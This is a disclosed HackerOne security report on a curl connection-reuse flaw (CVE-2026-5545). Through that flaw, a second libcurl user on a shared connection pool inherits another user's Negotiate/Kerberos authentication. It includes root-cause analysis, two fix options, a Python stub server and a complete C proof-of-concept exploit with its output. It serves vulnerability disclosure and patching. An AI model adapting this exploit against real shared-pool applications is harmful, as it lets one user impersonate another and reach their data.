HexBrain

curl · Report #3642555

CVE-2026-5545: wrong reuse of HTTP Negotiate connection

Validstatus
mediumseverity
22upvotes
29 Apr 2026disclosed

How it was found

Summary:

An attacker sharing a libcurl multi-handle connection pool can hijack another user's Negotiate/Kerberos-authenticated connection. When User A authenticates via Negotiate (SPNEGO) and the connection returns to the pool, User B using CURLAUTH_ANY with different credentials gets that connection attached to their transfer. On servers with persistent Negotiate auth (Windows IIS with Kerberos — the default), User B's requests execute as User A.

The root cause is in url_match_auth_ntlm() (lib/url.c:1092): a tentative match sets m->found for a connection with mismatched credentials, returns FALSE, which exits the matching chain before url_match_auth_nego() can reject the connection. url_match_result() then attaches the connection based solely on m->found being non-NULL, ignoring the FALSE result.

Affected version

  • curl 8.20.0-DEV (master, commit 2b3dfb4, 2026-03-31)
  • Built with --enable-debug --with-openssl --with-gssapi
  • Both USE_NTLM and USE_SPNEGO compiled in (verified via curl_setup.h)
  • Test uses curl's built-in CURL_GSS_STUB (debug-build fake GSSAPI)

Steps To Reproduce:

  1. Start the test server (simulates IIS persistent Negotiate auth):
python3 nego_server.py 8999 &
  1. Compile and run the PoC:
gcc -o poc poc.c -I../include -L../lib/.libs -lcurl \
    $(pkg-config --libs openssl libnghttp2 zlib libbrotlidec libzstd libpsl \
      krb5-gssapi krb5 libidn2) -lldap -llber -Wl,-rpath,../lib/.libs

CURL_STUB_GSS_CREDS="KRB5_userA" ./poc

PoC output (abbreviated):

[STEP 1] User A: Negotiate auth to http://127.0.0.1:8999/api/secret
  [USER_A] Server auth using Negotiate with user 'userA'
  [USER_A] Authorization: Negotiate S1JCNV91c2VyQTpIVFRQ...

[RESULT A] HTTP 200
[RESULT A] Body: {"identity": "KRB5_userA", "mechanism": "negotiate_complete"}

[STEP 2] User A's connection is now in the pool
[STEP 3] User B: CURLAUTH_ANY with DIFFERENT creds

  [USER_B] [POC-TRACE] url_match_result: attaching conn #1
           (result param=0, IGNORED). negotiate_state=0
  [USER_B] Reusing existing http: connection with host 127.0.0.1
  [USER_B] Server auth using Negotiate with user 'userB'
  [USER_B] Authorization: Negotiate S1JCNV91c2VyQTpIVFRQ...
                                    ^^^^^^^^^^^^^^^^
                                    Still User A's GSSAPI context!

[RESULT B] HTTP 200
[RESULT B] Body: {"identity": "KRB5_userA", ...}
                               ^^^^^^^^^^^
                  User B authenticated as User A!

[!!!] VULNERABLE: User B was authenticated as User A!

Server-side log confirms:

[AUTH] conn=127.0.0.1:38018 identity=KRB5_userA -> GSS_AUTHSUCC
[401]  conn=127.0.0.1:38020 no auth
[AUTH] conn=127.0.0.1:38020 identity=KRB5_userA -> GSS_AUTHSUCC
                                      ^^^^^^^^^^
              User B's connection authenticated as User A

Root Cause Analysis

Three functions interact to produce the bug:

1. url_match_auth_ntlm() — Sets tentative match with wrong creds (url.c:1085-1093)

if(m->want_ntlm_http) {
    if(Curl_timestrcmp(m->needle->user, conn->user) ||
       Curl_timestrcmp(m->needle->passwd, conn->passwd)) {
      // Credentials DON'T MATCH, but...
      if(conn->http_ntlm_state == NTLMSTATE_NONE)
        m->found = conn;    // <-- SETS TENTATIVE MATCH ANYWAY
      return FALSE;          // <-- Returns FALSE, exits url_match_conn()
    }
}

When User B requests with CURLAUTH_ANY (which includes NTLM + Negotiate), want_ntlm_http is TRUE. User B's credentials don't match User A's on the pooled connection. But http_ntlm_state == NTLMSTATE_NONE (because Negotiate was used, not NTLM), so m->found = conn is set.

The return FALSE at line 1093 exits url_match_conn() immediately.

2. url_match_auth_nego() — NEVER CALLED (url.c:1239-1247)

if(!url_match_auth_ntlm(conn, m))    // line 1239 — returns FALSE
    return FALSE;                     // <-- EXITS HERE
// url_match_auth_nego() at line 1244 is NEVER REACHED

The Negotiate credential check that would reject this connection is skipped entirely.

3. url_match_result() — Ignores result, uses m->found (url.c:1263-1271)

static bool url_match_result(bool result, void *userdata) {
    struct url_conn_match *match = userdata;
    (void)result;           // <-- RESULT PARAMETER IS IGNORED
    if(match->found) {      // <-- Tentative match from step 1
        Curl_attach_connection(match->data, match->found);
        return TRUE;        // <-- Connection attached!
    }

The result parameter (which is FALSE) is explicitly cast to void and ignored. The function only checks match->found, which was set by the NTLM tentative match.

Why Existing CVE Fixes Don't Cover This

CVEWhat it fixedWhy this is different
CVE-2026-1965Bad Negotiate reuse when want_nego_http is FALSEOur path: want_nego_http is TRUE but never checked
CVE-2022-22576OAuth2 bearer bypass in connection reuseDifferent auth type, different code path
CVE-2022-27782TLS/SSH too eager reuseDifferent matching function
CVE-2023-27535FTP too eager connection reuseProtocol-specific, not HTTP auth

The interaction between the NTLM tentative match and the Negotiate auth check is a novel code path that wasn't addressed by any previous fix.

Recommended Fix

Option A — Don't set tentative match if connection has active Negotiate state:

if(conn->http_ntlm_state == NTLMSTATE_NONE
   && conn->http_negotiate_state == GSS_AUTHNONE)
    m->found = conn;

Option B — Make url_match_result() verify the result parameter:

static bool url_match_result(bool result, void *userdata) {
    struct url_conn_match *match = userdata;
    if(result && match->found) {  // <-- Check result
        Curl_attach_connection(match->data, match->found);
        return TRUE;
    }

Option A is simpler and more targeted. Option B is more defensive but changes behavior for all tentative match paths.

Supporting Materials

  • PoC source: poc/poc.c — libcurl multi-handle exploit
  • Test server: poc/nego_server.py — simulates IIS persistent Negotiate auth
  • Instrumented url.c with [POC-TRACE] logging at match decision points
  • Full PoC output showing User B authenticated as User A

References

  • lib/url.c:1077-1139 — url_match_auth_ntlm()
  • lib/url.c:1145-1196 — url_match_auth_nego()
  • lib/url.c:1201-1261 — url_match_conn() (orchestrator)
  • lib/url.c:1263-1286 — url_match_result() (attacher)
  • lib/curl_gssapi.c:88-309 — Stub GSS (used for PoC)

nego_server.py

#!/usr/bin/env python3
"""
Test server speaking the curl stub GSS protocol.

Stub protocol (lib/curl_gssapi.c):
- Client sends base64(creds:target:type:padding)
- Server responds with:
  - base64("C") = Qw== for Continue
  - base64("D") = RA== for Done (auth complete)

For KRB5: client sends type=1 (STUB_GSS_KRB5), server replies D -> GSS_S_COMPLETE
This causes curl to set http_negotiate_state = GSS_AUTHSUCC

The server tracks authenticated connections by TCP socket and serves
subsequent requests using the original identity (persistent Negotiate auth,
like Windows IIS with Kerberos).
"""
import http.server
import socketserver
import base64
import json
import sys

conn_auth = {}  # conn_key -> identity
request_log = []


class NegotiateHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        pass

    def _key(self):
        return f"{self.client_address[0]}:{self.client_address[1]}"

    def do_GET(self):
        k = self._key()
        auth = self.headers.get("Authorization", "")

        if auth.startswith("Negotiate "):
            token_b64 = auth.split(" ", 1)[1]
            try:
                token = base64.b64decode(token_b64)
                # Token format: creds:HTTP@host:type:padding
                parts = token.split(b":")
                identity = parts[0].decode("utf-8", errors="replace")
            except Exception as e:
                identity = f"DECODE_ERR:{e}"

            conn_auth[k] = identity

            # Reply with "D" (Done) base64-encoded to complete the handshake
            # This tells curl's stub GSS that auth is complete -> GSS_S_COMPLETE
            # -> http_negotiate_state = GSS_AUTHSUCC
            done_token = base64.b64encode(b"D").decode()

            self.send_response(200)
            self.send_header("WWW-Authenticate", f"Negotiate {done_token}")
            self.send_header("Content-Type", "application/json")
            body = json.dumps({
                "status": "authenticated",
                "identity": identity,
                "conn": k,
                "mechanism": "negotiate_complete"
            })
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body.encode())

            print(f"[AUTH] conn={k} identity={identity} -> GSS_AUTHSUCC", flush=True)

        elif k in conn_auth:
            # PERSISTENT AUTH: connection already authenticated
            # No Authorization header needed — identity comes from TCP conn
            identity = conn_auth[k]

            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            body = json.dumps({
                "status": "persistent_auth",
                "identity": identity,
                "conn": k,
                "auth_header": auth[:80] if auth else "(none)",
                "note": "Identity from TCP connection, NOT from current request"
            })
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body.encode())

            print(f"[PERSISTENT] conn={k} identity={identity} "
                  f"auth_hdr={'YES' if auth else 'NO'}", flush=True)

        else:
            # 401 challenge
            self.send_response(401)
            self.send_header("WWW-Authenticate", "Negotiate")
            self.send_header("Content-Type", "text/plain")
            body = "Authentication required"
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body.encode())

            print(f"[401] conn={k} no auth", flush=True)


class Server(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8999
    s = Server(("127.0.0.1", port), NegotiateHandler)
    print(f"[*] Negotiate stub server on :{port}", flush=True)
    s.serve_forever()

poc.c

/*
 * PoC: NTLM tentative connection match bypasses Negotiate auth state check
 *
 * Demonstrates that in a multi-handle shared connection pool, when:
 *   1. Handle A authenticates via Negotiate (SPNEGO/Kerberos)
 *   2. Handle B requests the same host with CURLAUTH_ANY + different creds
 *
 * The NTLM tentative match in url_match_auth_ntlm() (url.c:1092) sets
 * m->found on the connection with mismatched credentials, returns FALSE,
 * which exits url_match_conn() BEFORE url_match_auth_nego() runs.
 * url_match_result() then attaches the connection based solely on m->found.
 *
 * Result: Handle B's request goes out on Handle A's TCP connection.
 * On a server with persistent Negotiate auth (IIS/Kerberos default),
 * this means Handle B is authenticated as User A.
 *
 * Build:
 *   gcc -o poc poc.c -I../include -L../lib/.libs -lcurl -Wl,-rpath,../lib/.libs
 *
 * Run:
 *   python3 server.py 8999 &
 *   ./poc
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <curl/curl.h>

#define URL "http://127.0.0.1:8999/api/secret"

/* Capture response body */
struct response {
    char *data;
    size_t size;
};

static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userp)
{
    struct response *resp = (struct response *)userp;
    size_t total = size * nmemb;
    char *tmp = realloc(resp->data, resp->size + total + 1);
    if(!tmp) return 0;
    resp->data = tmp;
    memcpy(&resp->data[resp->size], ptr, total);
    resp->size += total;
    resp->data[resp->size] = 0;
    return total;
}

/* Debug callback to trace connection IDs and auth headers */
static int debug_cb(CURL *handle, curl_infotype type, char *data,
                    size_t size, void *userp)
{
    const char *tag = (const char *)userp;
    if(type == CURLINFO_TEXT) {
        /* Show connection reuse and auth-related debug lines */
        if(strstr(data, "Re-using") || strstr(data, "onnection") ||
           strstr(data, "uthoriz") || strstr(data, "uthenticat") ||
           strstr(data, "NTLM") || strstr(data, "egotiat") ||
           strstr(data, "Found bundle") || strstr(data, "multiplex"))
            printf("  [%s] %.*s", tag, (int)size, data);
    }
    else if(type == CURLINFO_HEADER_OUT) {
        /* Show outgoing Authorization headers */
        const char *auth = strstr(data, "Authorization:");
        if(auth) {
            const char *end = strstr(auth, "\r\n");
            int len = end ? (int)(end - auth) : 60;
            printf("  [%s] >>> %.*s\n", tag, len, auth);
        }
        /* Show which host we're connecting to */
        const char *host = strstr(data, "Host:");
        if(host) {
            const char *end = strstr(host, "\r\n");
            int len = end ? (int)(end - host) : 40;
            printf("  [%s] >>> %.*s\n", tag, len, host);
        }
    }
    return 0;
}

int main(void)
{
    CURLM *multi;
    CURL *easy_a, *easy_b;
    struct response resp_a = {NULL, 0};
    struct response resp_b = {NULL, 0};
    int still_running = 0;
    long http_code_a = 0, http_code_b = 0;
    char *conn_id_a = NULL, *conn_id_b = NULL;

    printf("=== PoC: NTLM tentative match bypasses Negotiate auth check ===\n\n");
    printf("Expected: User B should get 401 or authenticate as User B\n");
    printf("Actual:   User B reuses User A's Negotiate connection\n\n");

    curl_global_init(CURL_GLOBAL_DEFAULT);

    multi = curl_multi_init();

    /* --- Handle A: User A authenticates with Negotiate --- */
    easy_a = curl_easy_init();
    curl_easy_setopt(easy_a, CURLOPT_URL, URL);
    curl_easy_setopt(easy_a, CURLOPT_HTTPAUTH, (long)CURLAUTH_NEGOTIATE);
    curl_easy_setopt(easy_a, CURLOPT_USERPWD, "userA:passwordA");
    curl_easy_setopt(easy_a, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(easy_a, CURLOPT_WRITEDATA, &resp_a);
    curl_easy_setopt(easy_a, CURLOPT_VERBOSE, 1L);
    curl_easy_setopt(easy_a, CURLOPT_DEBUGFUNCTION, debug_cb);
    curl_easy_setopt(easy_a, CURLOPT_DEBUGDATA, "USER_A");

    printf("[STEP 1] User A: Negotiate auth to %s\n", URL);
    curl_multi_add_handle(multi, easy_a);

    /* Run User A's request to completion */
    do {
        CURLMcode mc = curl_multi_perform(multi, &still_running);
        if(mc == CURLM_OK && still_running) {
            mc = curl_multi_poll(multi, NULL, 0, 1000, NULL);
        }
        if(mc != CURLM_OK) {
            fprintf(stderr, "multi_perform error: %d\n", mc);
            break;
        }
    } while(still_running);

    /* Drain messages */
    {
        int msgs_left;
        struct CURLMsg *msg;
        while((msg = curl_multi_info_read(multi, &msgs_left))) {
            if(msg->msg == CURLMSG_DONE) {
                if(msg->easy_handle == easy_a) {
                    curl_easy_getinfo(easy_a, CURLINFO_RESPONSE_CODE, &http_code_a);
                    printf("\n[RESULT A] HTTP %ld\n", http_code_a);
                    if(resp_a.data)
                        printf("[RESULT A] Body: %s\n", resp_a.data);
                }
            }
        }
    }

    /* Remove A but DON'T close it -- the connection stays in the pool */
    curl_multi_remove_handle(multi, easy_a);
    /* Close A's easy handle -- connection returns to pool */
    curl_easy_cleanup(easy_a);

    printf("\n[STEP 2] User A's connection is now in the pool (Negotiate-authenticated)\n");
    printf("[STEP 3] User B: CURLAUTH_ANY (NTLM|Negotiate|...) with DIFFERENT creds\n\n");

    /* --- Handle B: User B with different creds and CURLAUTH_ANY --- */
    easy_b = curl_easy_init();
    curl_easy_setopt(easy_b, CURLOPT_URL, URL);
    /* CURLAUTH_ANY includes both NTLM and Negotiate flags */
    curl_easy_setopt(easy_b, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY);
    curl_easy_setopt(easy_b, CURLOPT_USERPWD, "userB:passwordB");
    curl_easy_setopt(easy_b, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(easy_b, CURLOPT_WRITEDATA, &resp_b);
    curl_easy_setopt(easy_b, CURLOPT_VERBOSE, 1L);
    curl_easy_setopt(easy_b, CURLOPT_DEBUGFUNCTION, debug_cb);
    curl_easy_setopt(easy_b, CURLOPT_DEBUGDATA, "USER_B");

    curl_multi_add_handle(multi, easy_b);

    /* Run User B's request */
    do {
        CURLMcode mc = curl_multi_perform(multi, &still_running);
        if(mc == CURLM_OK && still_running) {
            mc = curl_multi_poll(multi, NULL, 0, 1000, NULL);
        }
        if(mc != CURLM_OK) {
            fprintf(stderr, "multi_perform error: %d\n", mc);
            break;
        }
    } while(still_running);

    /* Drain messages */
    {
        int msgs_left;
        struct CURLMsg *msg;
        while((msg = curl_multi_info_read(multi, &msgs_left))) {
            if(msg->msg == CURLMSG_DONE) {
                if(msg->easy_handle == easy_b) {
                    curl_easy_getinfo(easy_b, CURLINFO_RESPONSE_CODE, &http_code_b);
                    printf("\n[RESULT B] HTTP %ld\n", http_code_b);
                    if(resp_b.data)
                        printf("[RESULT B] Body: %s\n", resp_b.data);
                }
            }
        }
    }

    printf("\n=== ANALYSIS ===\n");
    if(resp_b.data && strstr(resp_b.data, "userA")) {
        printf("[!!!] VULNERABLE: User B was authenticated as User A!\n");
        printf("[!!!] The server saw User A's identity on User B's request.\n");
        printf("[!!!] Connection reuse bypassed Negotiate auth state check.\n");
        curl_multi_remove_handle(multi, easy_b);
        curl_easy_cleanup(easy_b);
        curl_multi_cleanup(multi);
        free(resp_a.data);
        free(resp_b.data);
        curl_global_cleanup();
        return 0;  /* EXIT 0 = vuln confirmed (secret persists) */
    }
    else if(resp_b.data && strstr(resp_b.data, "userB")) {
        printf("[OK] NOT VULNERABLE: User B authenticated as User B (correct).\n");
    }
    else if(http_code_b == 401) {
        printf("[OK] NOT VULNERABLE: User B got 401 (connection not reused).\n");
    }
    else {
        printf("[??] INCONCLUSIVE: User B HTTP %ld\n", http_code_b);
        printf("[??] Response: %s\n", resp_b.data ? resp_b.data : "(empty)");
        printf("[!!] Check if connection was reused from debug output above.\n");
        printf("[!!] Key indicator: 'Re-using existing connection' in USER_B logs\n");
    }

    curl_multi_remove_handle(multi, easy_b);
    curl_easy_cleanup(easy_b);
    curl_multi_cleanup(multi);
    free(resp_a.data);
    free(resp_b.data);
    curl_global_cleanup();
    return 1;  /* EXIT 1 = not vulnerable */
}

Impact

Impact

An attacker sharing a libcurl multi-handle or connection pool with a victim can:

  1. Impersonate the victim on any server using persistent Negotiate auth (Windows IIS with Kerberos — the default enterprise configuration)
  2. Access the victim's data — the server sees the attacker's requests as coming from the victim's Kerberos identity
  3. Perform actions as the victim — write, delete, or modify data under the victim's authorization

Affected environments:

  • Any application using libcurl's multi-handle with shared connection pool
  • HTTP client libraries wrapping libcurl (Python pycurl, PHP curl_multi_*, etc.)
  • Multi-tenant services where different users share a curl connection pool
  • Web application backends that reuse curl handles across requests

Preconditions:

  • Both USE_NTLM and USE_SPNEGO compiled in (common — most distro builds include both)
  • Multi-handle or shared connection pool
  • User B uses CURLAUTH_ANY or explicitly enables both NTLM + Negotiate
  • Server uses persistent Negotiate auth (IIS/Kerberos default)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original